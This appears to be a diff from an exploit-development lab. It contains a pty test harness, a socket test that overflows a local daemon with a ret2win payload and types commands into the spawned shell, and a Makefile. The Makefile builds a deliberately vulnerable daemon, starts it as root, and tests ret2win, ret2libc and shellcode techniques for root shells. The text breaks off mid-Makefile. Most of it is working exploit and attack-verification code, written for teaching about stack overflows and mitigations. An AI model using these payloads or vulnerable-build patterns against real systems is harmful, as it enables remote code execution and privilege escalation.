||||||
|
if (master < 0) {
|
||||||
|
perror("posix_openpt");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
if (grantpt(master) < 0 || unlockpt(master) < 0) {
|
||||||
|
perror("grantpt/unlockpt");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
if (ptsname_r(master, slave_name, sizeof(slave_name)) != 0) {
|
||||||
|
perror("ptsname_r");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- 2. Fork; the child becomes the pty slave and execs fooc. ------- */
|
||||||
|
pid = fork();
|
||||||
|
if (pid < 0) {
|
||||||
|
perror("fork");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pid == 0) {
|
||||||
|
int s;
|
||||||
|
char *args[64];
|
||||||
|
int n = 0;
|
||||||
|
|
||||||
|
if (setsid() < 0)
|
||||||
|
_exit(127);
|
||||||
|
s = open(slave_name, O_RDWR);
|
||||||
|
if (s < 0)
|
||||||
|
_exit(127);
|
||||||
|
dup2(s, STDIN_FILENO);
|
||||||
|
dup2(s, STDOUT_FILENO);
|
||||||
|
dup2(s, STDERR_FILENO);
|
||||||
|
if (s > STDERR_FILENO)
|
||||||
|
close(s);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Pass everything through to fooc except our own --dump flag and its
|
||||||
|
* argument, which fooc's getopt() would reject and exit on.
|
||||||
|
*/
|
||||||
|
args[n++] = (char *)"./fooc";
|
||||||
|
for (int i = 1; i < argc && n < 63; i++) {
|
||||||
|
if (strcmp(argv[i], "--dump") == 0) {
|
||||||
|
i++; /* Skip the filename too. */
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
args[n++] = argv[i];
|
||||||
|
}
|
||||||
|
args[n] = NULL;
|
||||||
|
execv(args[0], args);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* ---- 3. Terminal settings: cooked, but SILENT.
|
||||||
|
*
|
||||||
|
* We deliberately do NOT call cfmakeraw(). A real interactive shell needs
|
||||||
|
* an ordinary line-discipline terminal: input line-buffered, signals
|
||||||
|
* generated, and (on this system) bash's bracketed-paste sequences. Raw
|
||||||
|
* mode made the shell misbehave and the harness see nothing back even
|
||||||
|
* though the exploit was working perfectly.
|
||||||
|
*
|
||||||
|
* We DO turn ECHO off, and that detail is load-bearing. The marker we
|
||||||
|
* check for appears in the command line itself ("echo PWNED-OK"), so with
|
||||||
|
* echo enabled the pty cheerfully sends our own keystrokes back to us and
|
||||||
|
* the harness reports success whether or not a shell ever ran. That is a
|
||||||
|
* false positive, and it hid a real failure here: the shellcode technique
|
||||||
|
* was crashing (the target's stack is non-executable) while the test
|
||||||
|
* cheerfully printed marker=SEEN.
|
||||||
|
*
|
||||||
|
* So: everything default except ECHO. That gives us a real terminal for
|
||||||
|
* the shell, without the pty lying to us about what came back.
|
||||||
|
*/
|
||||||
|
if (tcgetattr(master, &saved) == 0) {
|
||||||
|
struct termios quiet = saved;
|
||||||
|
have_saved = 1; /* Saved purely so we can restore it on exit.*/
|
||||||
|
quiet.c_lflag &= ~(tcflag_t)ECHO; /* ICANON, ISIG stay ON. */
|
||||||
|
quiet.c_lflag |= ECHONL; /* ...but keep the newline. */
|
||||||
|
tcsetattr(master, TCSANOW, &quiet);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* ---- 4. Wait for the exploit to finish analysing, connecting, sending
|
||||||
|
* the payload and exec'ing the shell.
|
||||||
|
*
|
||||||
|
* fooc does a full objdump analysis plus a /proc/self/mem scan before it
|
||||||
|
* sends anything, and only then does it hand the socket to a shell. Any
|
||||||
|
* bytes we type before that point are written to the pty and then thrown
|
||||||
|
* away when fooc dup2()s the socket over its own stdin, so we must wait.
|
||||||
|
*/
|
||||||
|
for (round = 0; round < 12; round++)
|
||||||
|
drain_master(master, 250);
|
||||||
|
|
||||||
|
/* ---- 5. Type the proof commands. ------------------------------------ */
|
||||||
|
dprintf(master, "id; echo " MARKER "; uname -sr; exit\n");
|
||||||
|
|
||||||
|
/* ---- 6. Read until we have both signals (or we give up). ------------- */
|
||||||
|
for (round = 0; round < 20; round++) {
|
||||||
|
drain_master(master, 250);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Scan everything seen SO FAR, not just the latest chunk. A string
|
||||||
|
* can straddle a read() boundary -- "PWN" in one chunk and "ED-OK" in
|
||||||
|
* the next -- and a per-chunk strstr() would then miss a real success.
|
||||||
|
* Keeping the whole transcript and rescanning it costs nothing at this
|
||||||
|
* size and removes a whole class of flaky-test nonsense.
|
||||||
|
*/
|
||||||
|
if (strstr(transcript, MARKER) != NULL) ok = 1;
|
||||||
|
if (strstr(transcript, IDOUT) != NULL) saw_id = 1;
|
||||||
|
if (ok && saw_id)
|
||||||
|
break; /* Proof obtained; no need to keep waiting. */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- 7. Tidy up. --------------------------------------------------- */
|
||||||
|
kill(pid, SIGKILL); /* The shell may ignore our 'exit'. */
|
||||||
|
waitpid(pid, NULL, 0);
|
||||||
|
if (have_saved)
|
||||||
|
tcsetattr(master, TCSANOW, &saved);
|
||||||
|
close(master);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Report the two signals separately so a failure is diagnosable at a
|
||||||
|
* glance: marker-without-`id` means the shell echoed our input but never
|
||||||
|
* ran anything; no marker at all means the payload never landed.
|
||||||
|
*/
|
||||||
|
/* Optionally dump the raw transcript for post-mortem debugging:
|
||||||
|
* pty_test -t shellcode --dump raw.txt
|
||||||
|
* (Anything after --dump is taken as a filename; the check still runs.) */
|
||||||
|
for (int i = 1; i + 1 < argc; i++) {
|
||||||
|
if (strcmp(argv[i], "--dump") == 0) {
|
||||||
|
FILE *f = fopen(argv[i + 1], "w");
|
||||||
|
if (f != NULL) {
|
||||||
|
fwrite(transcript, 1, strlen(transcript), f);
|
||||||
|
fclose(f);
|
||||||
|
fprintf(stderr, "[pty_test] transcript (%zu bytes) -> %s\n",
|
||||||
|
strlen(transcript), argv[i + 1]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr, "\n[pty_test] technique=%-10s marker=%-7s id_output=%s\n",
|
||||||
|
technique_of(argc, argv),
|
||||||
|
ok ? "SEEN" : "MISSING",
|
||||||
|
saw_id ? "SEEN" : "MISSING");
|
||||||
|
return (ok && saw_id) ? 0 : 1;
|
||||||
|
}
|
||||||
93
tests/sock_test.c
Normal file
93
tests/sock_test.c
Normal file
|
|
@ -0,0 +1,93 @@
|
||||||
|
/*
|
||||||
|
* sock_test.c -- verify the exploit end-to-end without a pty.
|
||||||
|
*
|
||||||
|
* Test scaffolding. This speaks the protocol itself: connect, read the banner
|
||||||
|
* and leaks, send the same payload fooc would send, then type commands and read
|
||||||
|
* replies as raw bytes over the socket. That removes the pty layer entirely, so
|
||||||
|
* a failure here is unambiguously the exploit's fault and not the harness's.
|
||||||
|
*
|
||||||
|
* It deliberately does NOT reuse fooc's payload builders -- it builds the same
|
||||||
|
* 88 bytes of 'A' plus win()'s address, plus the alignment `ret`, so that this
|
||||||
|
* test and fooc are independent checks of the same idea.
|
||||||
|
*/
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/select.h>
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
struct sockaddr_in sa;
|
||||||
|
int fd, port = 2342;
|
||||||
|
char rx[4096];
|
||||||
|
size_t got = 0;
|
||||||
|
unsigned long win_addr, ret_gadget = 0x40101a;
|
||||||
|
unsigned char payload[128];
|
||||||
|
const char *marker = "SOCK-OK";
|
||||||
|
pid_t pid;
|
||||||
|
|
||||||
|
/* win()'s address, passed in so this test does not duplicate the
|
||||||
|
* disassembler that fooc already implements. */
|
||||||
|
if (argc < 2) { fprintf(stderr, "usage: sock_test <win_addr_hex> [port]\n"); return 2; }
|
||||||
|
win_addr = strtoul(argv[1], NULL, 0);
|
||||||
|
if (argc > 2) port = atoi(argv[2]);
|
||||||
|
|
||||||
|
fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
memset(&sa, 0, sizeof(sa));
|
||||||
|
sa.sin_family = AF_INET;
|
||||||
|
sa.sin_port = htons(port);
|
||||||
|
inet_pton(AF_INET, "127.0.0.1", &sa.sin_addr);
|
||||||
|
if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("connect"); return 1; }
|
||||||
|
|
||||||
|
/* Read the banner and the leak lines. */
|
||||||
|
while (got < sizeof(rx) - 1) {
|
||||||
|
ssize_t n = read(fd, rx + got, sizeof(rx) - 1 - got);
|
||||||
|
if (n <= 0) break;
|
||||||
|
got += (size_t)n;
|
||||||
|
if (strstr(rx, "BUF=")) break;
|
||||||
|
}
|
||||||
|
rx[got] = 0;
|
||||||
|
printf("--- banner ---\n%s--------------\n", rx);
|
||||||
|
|
||||||
|
/* 88 bytes of padding, then the alignment `ret`, then win(). */
|
||||||
|
memset(payload, 0x41, 88);
|
||||||
|
memcpy(payload + 88, &ret_gadget, 8);
|
||||||
|
memcpy(payload + 96, &win_addr, 8);
|
||||||
|
if (write(fd, payload, 104) != 104) { perror("write"); return 1; }
|
||||||
|
printf("sent 104 bytes; win=%#lx\n", win_addr);
|
||||||
|
|
||||||
|
/* Give the daemon time to run win() and fork+exec the shell. */
|
||||||
|
usleep(700000);
|
||||||
|
|
||||||
|
/* Type commands as raw bytes, exactly as a real attacker would. */
|
||||||
|
dprintf(fd, "id; echo %s; exit\n", marker);
|
||||||
|
|
||||||
|
/* Collect the reply. */
|
||||||
|
got = 0;
|
||||||
|
for (int i = 0; i < 30 && !strstr(rx, marker); i++) {
|
||||||
|
ssize_t n;
|
||||||
|
struct timeval tv = { 0, 200000 };
|
||||||
|
fd_set fds;
|
||||||
|
FD_ZERO(&fds); FD_SET(fd, &fds);
|
||||||
|
if (select(fd + 1, &fds, NULL, NULL, &tv) <= 0) continue;
|
||||||
|
n = read(fd, rx + got, sizeof(rx) - 1 - got);
|
||||||
|
if (n <= 0) break;
|
||||||
|
got += (size_t)n;
|
||||||
|
rx[got] = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("--- reply ---\n%s--------------\n", rx);
|
||||||
|
int ok = strstr(rx, marker) != NULL;
|
||||||
|
printf("[sock_test] marker: %s\n", ok ? "SEEN" : "MISSING");
|
||||||
|
|
||||||
|
close(fd);
|
||||||
|
(void)pid; (void)waitpid;
|
||||||
|
return ok ? 0 : 1;
|
||||||
|
}
|
||||||
17
wosuid/.gitignore
vendored
Normal file
17
wosuid/.gitignore
vendored
Normal file
|
|
@ -0,0 +1,17 @@
|
||||||
|
# Build products
|
||||||
|
foowosd
|
||||||
|
foowosc
|
||||||
|
foowosd_hardened
|
||||||
|
tests/pty_wosuid_test
|
||||||
|
|
||||||
|
# Assembly verification scratch
|
||||||
|
shellcode.bin
|
||||||
|
.sc_c_raw.txt
|
||||||
|
.sc_c.txt
|
||||||
|
.sc_asm.txt
|
||||||
|
|
||||||
|
# Logs
|
||||||
|
foowosd.log
|
||||||
|
foowosd_hardened.log
|
||||||
|
*.log
|
||||||
|
|
||||||
368
wosuid/Makefile
Normal file
368
wosuid/Makefile
Normal file
|
|
@ -0,0 +1,368 @@
|
||||||
|
# ============================================================================
|
||||||
|
# Makefile -- builds the wosuid lab: foowosd (a daemon that is root because it
|
||||||
|
# was STARTED as root), foowosc (the exploit), and the test harness.
|
||||||
|
# ============================================================================
|
||||||
|
#
|
||||||
|
# make build foowosd, foowosc and the test harness
|
||||||
|
# make run start foowosd as your NORMAL user (baseline: no root)
|
||||||
|
# make run-root start foowosd as ROOT via sudo (the interesting case)
|
||||||
|
# make run-root-ns start foowosd as uid 0 inside a user namespace --
|
||||||
|
# no sudo needed; uses the same kernel path as real root
|
||||||
|
# make status report what state the daemon is running in
|
||||||
|
# make test technique matrix against a NON-root daemon
|
||||||
|
# (every technique lands a shell; root expected MISSING)
|
||||||
|
# make test-root the matrix with --must-root against a ROOT daemon
|
||||||
|
# (every technique must now yield uid=0)
|
||||||
|
# make verify prove the bytes in foowosc.c equal what shellcode.S makes
|
||||||
|
# make hardened rebuild foowosd with all mitigations ON (expect failure)
|
||||||
|
# make test-hardened show which techniques the mitigations kill
|
||||||
|
# make stop stop the daemon (hint if it needs sudo)
|
||||||
|
# make clean remove build products
|
||||||
|
#
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# THE ONE IDEA OF THIS LAB
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# There is NO setuid bit: nothing in this directory ever chmods +s. foowosd
|
||||||
|
# becomes root the way real daemons do -- somebody STARTS it as root
|
||||||
|
# (`sudo make run-root`, or a systemd unit with User=root). The exploit then
|
||||||
|
# yields `uid=0(root)` shells, because the *process* is root, and the kernel
|
||||||
|
# honestly cannot tell "root because of the +s bit" from "root because root
|
||||||
|
# started it". That distinction is the whole lab: memory-safety bugs in
|
||||||
|
# privileged processes are privilege-escalation bugs, filesystem attributes
|
||||||
|
# notwithstanding.
|
||||||
|
#
|
||||||
|
# make run -> ruid=euid=1000 exploit lands a USER shell
|
||||||
|
# make run-root -> ruid=euid=0 exploit lands a ROOT shell (real)
|
||||||
|
# make run-root-ns -> ruid=euid=0 exploit lands a ROOT shell (uid-0
|
||||||
|
# in a user namespace; for anyone
|
||||||
|
# without sudo, and for CI)
|
||||||
|
#
|
||||||
|
# Because the root state here sets BOTH real and effective uid to 0, no
|
||||||
|
# setreuid prefix is needed in the shellcode (contrast the suid lab, where
|
||||||
|
# the +s bit left ruid at 1000). All three techniques -- shellcode, ret2win,
|
||||||
|
# ret2libc -- yield root when the daemon is root, and user shells when it is
|
||||||
|
# not. The verdicts are symmetric and honest.
|
||||||
|
#
|
||||||
|
# IMPORTANT: the suid lab owned a root binary; this lab owns a root PROCESS.
|
||||||
|
# The cleanup ritual matters the same way: `make stop` and do not leave a
|
||||||
|
# root-started daemon from a vulnerable lab listening anywhere.
|
||||||
|
# ============================================================================
|
||||||
|
|
||||||
|
CC ?= gcc
|
||||||
|
CSTD := -std=c99
|
||||||
|
|
||||||
|
# We do NOT use -Werror: the deliberate overflow triggers
|
||||||
|
# -Wstringop-overflow in foowosd.c and that warning is supposed to fire.
|
||||||
|
WARN := -Wall -Wextra
|
||||||
|
DBG := -O0 -g
|
||||||
|
|
||||||
|
# --- the vulnerable build -----------------------------------------------------
|
||||||
|
# Same deliberate removals as the other two labs: no canary, no PIE, an
|
||||||
|
# executable stack. None of them has anything to do with HOW the process got
|
||||||
|
# root; a hardened build of this same source is still a root daemon if root
|
||||||
|
# started it -- just a harder-to-abuse one.
|
||||||
|
VULN := -fno-stack-protector -no-pie -z execstack
|
||||||
|
|
||||||
|
# --- the hardened build -------------------------------------------------------
|
||||||
|
HARDEN := -fstack-protector-strong -fPIE -pie -z noexecstack
|
||||||
|
|
||||||
|
TESTCFLAGS := $(CSTD) $(DBG) $(WARN)
|
||||||
|
|
||||||
|
# Port: 2344 keeps this lab clear of food (2342) and foosd (2343).
|
||||||
|
PORT ?= 2344
|
||||||
|
|
||||||
|
all: foowosd foowosc tests/pty_wosuid_test
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# The daemon and the exploit. Note the exploit builds with mitigations ON:
|
||||||
|
# the attacker gains nothing by self-weakening, and it proves the toolchain
|
||||||
|
# works in a hardened process too.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
foowosd: foowosd.c
|
||||||
|
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o $@ $<
|
||||||
|
|
||||||
|
foowosc: foowosc.c
|
||||||
|
$(CC) $(CSTD) $(DBG) $(WARN) -fstack-protector-strong -o $@ $< -ldl
|
||||||
|
|
||||||
|
tests/pty_wosuid_test: tests/pty_wosuid_test.c
|
||||||
|
$(CC) $(TESTCFLAGS) -o $@ $<
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# run: baseline -- the daemon as YOUR user. Useful to prove (a) the exploit
|
||||||
|
# mechanics are independent of privilege, and (b) that without a root process
|
||||||
|
# there is no root shell. The exploit prints exactly that warning.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
run: foowosd
|
||||||
|
@rm -f foowosd.log
|
||||||
|
@echo "=== starting foowosd as $$(id -un) (NOT root; baseline only)"
|
||||||
|
@setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null & \
|
||||||
|
disown 2>/dev/null || true
|
||||||
|
@sleep 1
|
||||||
|
@if pgrep -x foowosd >/dev/null; then \
|
||||||
|
echo "=== foowosd is running (pid $$(pgrep -x foowosd | head -1))"; \
|
||||||
|
echo "=== stack segment -- 'rwxp' means executable (needed for shellcode):"; \
|
||||||
|
grep '\[stack\]' /proc/$$(pgrep -x foowosd | head -1)/maps; \
|
||||||
|
echo "=== startup log line (uid/euid state):"; \
|
||||||
|
grep startup foowosd.log; \
|
||||||
|
else \
|
||||||
|
echo "=== foowosd failed to start; see foowosd.log"; exit 1; \
|
||||||
|
fi
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# run-root: THE interesting case. Starts the daemon as real root (sudo), so
|
||||||
|
# the process has ruid == euid == 0 and the exploit yields uid=0(root).
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
run-root: foowosd
|
||||||
|
@if [ "$$(id -u)" -eq 0 ]; then \
|
||||||
|
rm -f foowosd.log; \
|
||||||
|
echo "=== already root; starting foowosd directly"; \
|
||||||
|
setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null & \
|
||||||
|
disown 2>/dev/null || true; \
|
||||||
|
else \
|
||||||
|
echo "=== starting foowosd as ROOT via sudo (process uid will be 0)"; \
|
||||||
|
sudo sh -c 'rm -f foowosd.log; setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null &'; \
|
||||||
|
fi
|
||||||
|
@sleep 1
|
||||||
|
@if pgrep -x foowosd >/dev/null; then \
|
||||||
|
pid=$$(pgrep -x foowosd | head -1); \
|
||||||
|
echo "=== foowosd is running (pid $$pid)"; \
|
||||||
|
echo "=== process euid: $$(ps -o euid= -p $$pid | tr -d ' ') (0 means root)"; \
|
||||||
|
echo "=== startup log line (uid/euid state):"; \
|
||||||
|
grep startup foowosd.log; \
|
||||||
|
else \
|
||||||
|
echo "=== foowosd failed to start; see foowosd.log"; exit 1; \
|
||||||
|
fi
|
||||||
|
@echo
|
||||||
|
@echo "=== now: make test-root"
|
||||||
|
@echo "=== when done: make stop"
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# run-root-ns: the no-password road to a genuinely uid-0 daemon. unshare -r
|
||||||
|
# maps your ids to 0 inside a fresh user namespace, then execs foowosd, which
|
||||||
|
# therefore runs with ruid == euid == 0 -- the same uids the kernel hands a
|
||||||
|
# real root process. Every syscall the exploit touches (bind, read, execve,
|
||||||
|
# the '# id' proof) behaves identically, so this exercises the ENTIRE root
|
||||||
|
# path with no sudo. It is a verification tool and CI-friendly; real root via
|
||||||
|
# run-root is the production-grade final demo.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
run-root-ns: foowosd
|
||||||
|
@command -v unshare >/dev/null 2>&1 || { \
|
||||||
|
echo "!!! unshare not available (util-linux); use 'sudo make run-root'"; \
|
||||||
|
exit 1; }
|
||||||
|
@rm -f foowosd.log
|
||||||
|
@echo "=== starting foowosd inside a user namespace as uid 0 (no sudo)"
|
||||||
|
@setsid nohup unshare -r ./foowosd > foowosd.log 2>&1 </dev/null & \
|
||||||
|
disown 2>/dev/null || true
|
||||||
|
@sleep 1
|
||||||
|
@if pgrep -x foowosd >/dev/null; then \
|
||||||
|
pid=$$(pgrep -x foowosd | head -1); \
|
||||||
|
echo "=== foowosd is running (pid $$pid)"; \
|
||||||
|
echo "=== process euid (namespaced): $$(ps -o euid= -p $$pid | tr -d ' ') (0 means root)"; \
|
||||||
|
echo "=== startup log line (uid/euid state):"; \
|
||||||
|
grep startup foowosd.log; \
|
||||||
|
else \
|
||||||
|
echo "=== foowosd failed to start; see foowosd.log"; exit 1; \
|
||||||
|
fi
|
||||||
|
@echo
|
||||||
|
@echo "=== now: make test-root (and, when done: make stop)"
|
||||||
|
|
||||||
|
stop:
|
||||||
|
@if pgrep -x foowosd >/dev/null; then \
|
||||||
|
pkill -x foowosd; sleep 0.5; \
|
||||||
|
if pgrep -x foowosd >/dev/null; then \
|
||||||
|
echo "=== foowosd is root-owned and pkill needs privileges:"; \
|
||||||
|
echo " sudo pkill -x foowosd"; \
|
||||||
|
else \
|
||||||
|
echo "=== foowosd stopped"; \
|
||||||
|
fi; \
|
||||||
|
else \
|
||||||
|
echo "=== foowosd was not running"; \
|
||||||
|
fi
|
||||||
|
@# Also clean up a leftover hardened daemon; it would hold the port.
|
||||||
|
@# Linux comm names are truncated to 15 chars, so -x must match
|
||||||
|
@# 'foowosd_hardene', not the full filename.
|
||||||
|
@if pgrep -x foowosd_hardene 2>/dev/null; then \
|
||||||
|
pkill -x foowosd_hardene 2>/dev/null; sleep 0.5; \
|
||||||
|
echo "=== foowosd_hardened stopped"; \
|
||||||
|
fi
|
||||||
|
|
||||||
|
status:
|
||||||
|
@if pgrep -x foowosd >/dev/null; then \
|
||||||
|
pid=$$(pgrep -x foowosd | head -1); \
|
||||||
|
euid=$$(ps -o euid= -p $$pid | tr -d ' '); \
|
||||||
|
echo "=== foowosd: running, pid $$pid, euid=$$euid"; \
|
||||||
|
if [ "$$euid" -eq 0 ]; then \
|
||||||
|
echo "=== running as ROOT -> the exploit yields uid=0(root) shells"; \
|
||||||
|
else \
|
||||||
|
echo "=== running as a normal user -> the exploit yields user shells (baseline)"; \
|
||||||
|
fi; \
|
||||||
|
else \
|
||||||
|
echo "=== foowosd: not running"; \
|
||||||
|
fi
|
||||||
|
@echo "=== binary: $$(stat -c '%A %U' foowosd 2>/dev/null || echo 'not built yet')"
|
||||||
|
@echo "=== (no setuid bit is involved in this lab; there never is one)"
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# test: baseline matrix against a NON-root daemon. Every technique should land
|
||||||
|
# a shell; root is expected MISSING. The verdict is pty_wosuid_test's EXIT
|
||||||
|
# STATUS, never a grep of its output.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
test: tests/pty_wosuid_test
|
||||||
|
@pgrep -x foowosd >/dev/null || { \
|
||||||
|
echo "!!! foowosd is not running. Start it first: make run"; exit 1; }
|
||||||
|
@fail=0; \
|
||||||
|
echo "=== ret2win (baseline: shell, root MISSING -- daemon not root)"; \
|
||||||
|
./tests/pty_wosuid_test -t ret2win 2>&1 >/dev/null || fail=1; \
|
||||||
|
echo "=== ret2libc (baseline: shell, root MISSING -- daemon not root)"; \
|
||||||
|
./tests/pty_wosuid_test -t ret2libc 2>&1 >/dev/null || fail=1; \
|
||||||
|
echo "=== shellcode (baseline: shell, root MISSING -- daemon not root)"; \
|
||||||
|
./tests/pty_wosuid_test -t shellcode 2>&1 >/dev/null || fail=1; \
|
||||||
|
echo; \
|
||||||
|
if [ $$fail -eq 0 ]; then \
|
||||||
|
echo "=== all techniques landed shells against the non-root daemon."; \
|
||||||
|
echo "=== To see them land ROOT shells, run the daemon as root:"; \
|
||||||
|
echo "=== make stop && make run-root && make test-root"; \
|
||||||
|
else \
|
||||||
|
echo "=== at least one technique failed against the non-root daemon."; \
|
||||||
|
echo "=== Check foowosd.log and the marker= lines above."; \
|
||||||
|
fi; \
|
||||||
|
exit $$fail
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# test-root: the whole point. Demands the daemon actually run with uid 0
|
||||||
|
# (checked two ways: a running process, and the log's "ROOT process" line),
|
||||||
|
# then runs every technique with --must-root. A clean pass means all three
|
||||||
|
# yielded uid=0(root) shells -- root RCE with no setuid bit anywhere.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
test-root: tests/pty_wosuid_test
|
||||||
|
@pgrep -x foowosd >/dev/null || { \
|
||||||
|
echo "!!! foowosd is not running. Start it first:"; \
|
||||||
|
echo " sudo make run-root (or: make run-root-ns)"; exit 1; }
|
||||||
|
@grep -q -- '-> ROOT process' foowosd.log || { \
|
||||||
|
echo "!!! foowosd is running but NOT as root (see foowosd.log)."; \
|
||||||
|
echo " Restart it as root: sudo make run-root (or make run-root-ns)"; \
|
||||||
|
exit 1; }
|
||||||
|
@fail=0; \
|
||||||
|
for t in ret2win ret2libc shellcode; do \
|
||||||
|
echo "=== $$t (must yield uid=0(root))"; \
|
||||||
|
if ./tests/pty_wosuid_test -t $$t --must-root 2>&1 >/dev/null; then \
|
||||||
|
echo "--- $$t: ROOT shell confirmed"; \
|
||||||
|
else \
|
||||||
|
fail=1; echo "--- $$t: FAILED to get root"; \
|
||||||
|
fi; \
|
||||||
|
done; \
|
||||||
|
echo; \
|
||||||
|
if [ $$fail -eq 0 ]; then \
|
||||||
|
echo "=== ALL techniques yielded uid=0(root) shells."; \
|
||||||
|
echo "=== Root RCE with NO setuid bit: the process was root because"; \
|
||||||
|
echo "=== root started it. See README.md for why this is the whole point."; \
|
||||||
|
else \
|
||||||
|
echo "=== root escalation FAILED for at least one technique."; \
|
||||||
|
fi; \
|
||||||
|
exit $$fail
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# verify: prove the shellcode bytes in foowosc.c are byte-for-byte what nasm
|
||||||
|
# produces from shellcode.S.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
verify verify-shellcode: shellcode.S foowosc.c
|
||||||
|
@command -v nasm >/dev/null 2>&1 || { \
|
||||||
|
echo "verify-shellcode: nasm is not installed; skipping."; \
|
||||||
|
echo " (Arch: pacman -S nasm)"; exit 0; }
|
||||||
|
@echo "=== Assembling shellcode.S ..."
|
||||||
|
@nasm -f bin -o shellcode.bin shellcode.S
|
||||||
|
@echo "=== nasm output:"
|
||||||
|
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
|
||||||
|
-e 's/[[:space:]]*$$//'
|
||||||
|
@echo
|
||||||
|
@# Pull the hex list out of the C array. Strip the trailing /* */ annotations
|
||||||
|
@# first (they mention hex constants like "0x3b"), then grep the literals.
|
||||||
|
@sed -n '/^static const unsigned char SHELLCODE\[\] = {/,/^};/p' foowosc.c \
|
||||||
|
| sed -e 's,/\*.*\*/,,' \
|
||||||
|
| grep -o '0x[0-9a-fA-F][0-9a-fA-F]' \
|
||||||
|
| tr 'A-F' 'a-f' | tr '\n' ' ' | sed -e 's/^ //' -e 's/[[:space:]]*$$//' \
|
||||||
|
> .sc_c_raw.txt
|
||||||
|
@echo "=== bytes declared in foowosc.c's SHELLCODE[] array:"
|
||||||
|
@cat .sc_c_raw.txt
|
||||||
|
@echo
|
||||||
|
@echo "=== comparing ..."
|
||||||
|
@sed -e 's/0x//g' .sc_c_raw.txt > .sc_c.txt
|
||||||
|
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
|
||||||
|
-e 's/[[:space:]]*$$//' > .sc_asm.txt
|
||||||
|
@if cmp -s .sc_c.txt .sc_asm.txt; then \
|
||||||
|
n=$$(wc -c < shellcode.bin); \
|
||||||
|
echo "MATCH: the $$n bytes in foowosc.c are byte-for-byte what"; \
|
||||||
|
echo " shellcode.S assembles to."; \
|
||||||
|
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; \
|
||||||
|
else \
|
||||||
|
echo "MISMATCH -- the two differ:"; \
|
||||||
|
diff .sc_c.txt .sc_asm.txt || true; \
|
||||||
|
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; exit 1; \
|
||||||
|
fi
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# hardened: same source, all mitigations ON. Every technique should die at the
|
||||||
|
# canary; the console contrast is the lesson, plus the reminder that a
|
||||||
|
# hardened build is still a root daemon if root started it.
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
hardened: foowosd.c
|
||||||
|
$(CC) $(CSTD) $(DBG) $(WARN) $(HARDEN) -o foowosd_hardened $<
|
||||||
|
@echo
|
||||||
|
@echo "=== foowosd_hardened built with the mitigations ON."
|
||||||
|
@echo "=== Stack segment ('RW' is what you want; 'RWE' would be executable):"
|
||||||
|
@readelf -W -l foowosd_hardened | grep GNU_STACK
|
||||||
|
|
||||||
|
test-hardened: hardened tests/pty_wosuid_test
|
||||||
|
@if ! pgrep -x foowosd >/dev/null; then \
|
||||||
|
echo "=== start the daemon first: make run (or make run-root)"; exit 1; \
|
||||||
|
fi
|
||||||
|
@$(MAKE) --no-print-directory stop
|
||||||
|
@echo "### starting foowosd_hardened instead"
|
||||||
|
@setsid nohup ./foowosd_hardened > foowosd_hardened.log 2>&1 </dev/null \
|
||||||
|
& disown 2>/dev/null || true
|
||||||
|
@sleep 1
|
||||||
|
@if ! pgrep -x foowosd_hardene 2>/dev/null; then \
|
||||||
|
echo "!!! foowosd_hardened did not start; see foowosd_hardened.log"; \
|
||||||
|
$(MAKE) --no-print-directory stop; exit 1; \
|
||||||
|
fi
|
||||||
|
@echo "### stack segment: 'rw-p' (NOT executable) is what you want to see"
|
||||||
|
